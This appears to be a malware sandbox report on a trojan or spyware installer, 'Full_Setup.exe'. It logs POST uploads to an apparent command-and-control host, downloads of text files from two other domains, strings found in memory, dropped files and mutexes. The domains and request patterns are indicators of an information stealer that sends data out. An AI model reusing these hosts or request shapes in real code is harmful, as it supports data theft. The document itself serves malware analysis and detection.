Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LI8NA92UHYPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20394Host: invinciblepol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0JLPURD0FKBIQF0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5455Host: invinciblepol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ETBZSP8CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1188Host: invinciblepol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VED7E5XIKXK2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570704Host: invinciblepol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: invinciblepol.click
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: global traffic	DNS traffic detected: DNS query: invinciblepol.click
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: invinciblepol.click

Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Full_Setup.exe, 00000000.00000003.1829427545.000000000283B000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000000.1663732579.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Full_Setup.exe, 00000000.00000000.1663750986.00000000004A4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.epubor.comJ
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Full_Setup.exe, 00000000.00000003.2133335676.000000000325F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Full_Setup.exe, 00000000.00000003.1983532100.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1958148491.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983624826.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2133152074.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983490610.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983975944.0000000000756000.00000004.00000020.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1912208277.00000000031BF000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1911959382.00000000031B8000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1958176878.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://invinciblepol.click/
Source: Full_Setup.exe, 00000000.00000003.1912027942.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983684456.000000000075C000.00000004.00000020.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1958176878.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://invinciblepol.click/api
Source: Full_Setup.exe, 00000000.00000003.1912027942.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://invinciblepol.click/apiT
Source: Full_Setup.exe, 00000000.00000003.1983532100.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1958176878.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://invinciblepol.click/apix
Source: Full_Setup.exe, 00000000.00000003.1983624826.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2133152074.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983490610.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://invinciblepol.click/jh
Source: Full_Setup.exe, 00000000.00000003.1958148491.00000000031B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://invinciblepol.click/pi
Source: Full_Setup.exe, 00000000.00000003.1983624826.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2133152074.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983490610.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://invinciblepol.click/s
Source: Full_Setup.exe, 00000000.00000003.2141527646.0000000003A6A000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2132441779.0000000003BEB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2133771243.0000000003A6B000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2139790458.0000000003B7F000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2127512848.0000000003A6A000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2137745591.0000000003B66000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2137000850.0000000003B60000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2141421050.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2127295748.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2132056185.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2135580983.0000000003C3B000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2134978125.0000000003B47000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2141746895.0000000003CDC000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2135324584.0000000003B4E000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2138043320.0000000003C7D000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2134631182.0000000003B4E000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2137843821.0000000003A62000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2135406925.0000000003A62000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2134717175.0000000003A68000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2139691635.0000000003A60000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2131795977.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: Full_Setup.exe, 00000000.00000003.2133289114.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/
Source: Full_Setup.exe, 00000000.00000003.2133289114.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt
Source: Full_Setup.exe, 00000000.00000003.2133289114.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txtcoded8
Source: Full_Setup.exe, 00000000.00000003.1884496971.0000000003255000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Full_Setup.exe, 00000000.00000003.1935968590.00000000034DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Full_Setup.exe, 00000000.00000003.1935968590.00000000034DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Full_Setup.exe, 00000000.00000003.1884119239.0000000003206000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Full_Setup.exe, 00000000.00000003.1884119239.00000000031E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Full_Setup.exe, 00000000.00000003.1884119239.0000000003206000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Full_Setup.exe, 00000000.00000003.1884119239.00000000031E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Full_Setup.exe, 00000000.00000003.1935968590.00000000034DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Full_Setup.exe, 00000000.00000003.1935968590.00000000034DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Full_Setup.exe, 00000000.00000003.1935968590.00000000034DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Full_Setup.exe, 00000000.00000003.1935968590.00000000034DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Full_Setup.exe, 00000000.00000003.1935968590.00000000034DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe

Code function: 37_2_00A951EB NtQuerySystemInformation,

37_2_00A951EB

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe

Code function: 37_2_00A93838

37_2_00A93838

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp E25EF8AA3AB40EE6950DACC4CCD9EDD1EBE973D45109F6EEF34F7F49E26A2E27
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_isdecmp.dll 31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26

Source: Full_Setup.exe

Static PE information: invalid certificate

Source: MDP2X8VMEVVJRGEP3T64BYVFCK.tmp.6.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: MDP2X8VMEVVJRGEP3T64BYVFCK.tmp.8.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: MDP2X8VMEVVJRGEP3T64BYVFCK.tmp.6.dr	Static PE information: Number of sections : 11 > 10
Source: MDP2X8VMEVVJRGEP3T64BYVFCK.tmp.8.dr	Static PE information: Number of sections : 11 > 10
Source: MDP2X8VMEVVJRGEP3T64BYVFCK.exe.0.dr	Static PE information: Number of sections : 11 > 10

Source: Full_Setup.exe, 00000000.00000003.2137000850.0000000003C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2140306021.0000000003C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2136390156.0000000003B07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2141311506.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2137212214.0000000003C13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2135669761.0000000003B11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2137095271.0000000003B0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2139296657.0000000003C20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2136683070.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2141202281.0000000003C41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2136108439.0000000003BFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2139509964.0000000003C21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2135490678.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2139055233.0000000003C21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2140098775.0000000003C30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2141746895.0000000003D80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2139182130.0000000003B04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2136578458.0000000003B0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2138137987.0000000003B10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2134896117.0000000003B09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2140408096.0000000003B0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2138559645.0000000003B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2140636008.0000000003C26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2138429724.0000000003C21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2135846846.0000000003B07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2137946165.0000000003C0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2139691635.0000000003B04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2139593780.0000000003D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2135756976.0000000003BFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2138732149.0000000003C1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2136479833.0000000003BFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2137518762.0000000003C0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2135931518.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2139790458.0000000003C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2138233705.0000000003C1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2138915853.0000000003B0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2137745591.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2140861296.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2135151704.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2140974390.0000000003D4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2136213227.0000000003B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2134978125.0000000003BEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe
Source: Full_Setup.exe, 00000000.00000003.2137843821.0000000003B06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameum_player.exe vs Full_Setup.exe

Source: Full_Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: Full_Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@59/15@4/3

Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

File created: C:\Users\user\AppData\Roaming\UltraMedia

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3096:120:WilError_03
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Mutant created: \Sessions\1\BaseNamedObjects\FSCapture
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7752:120:WilError_03
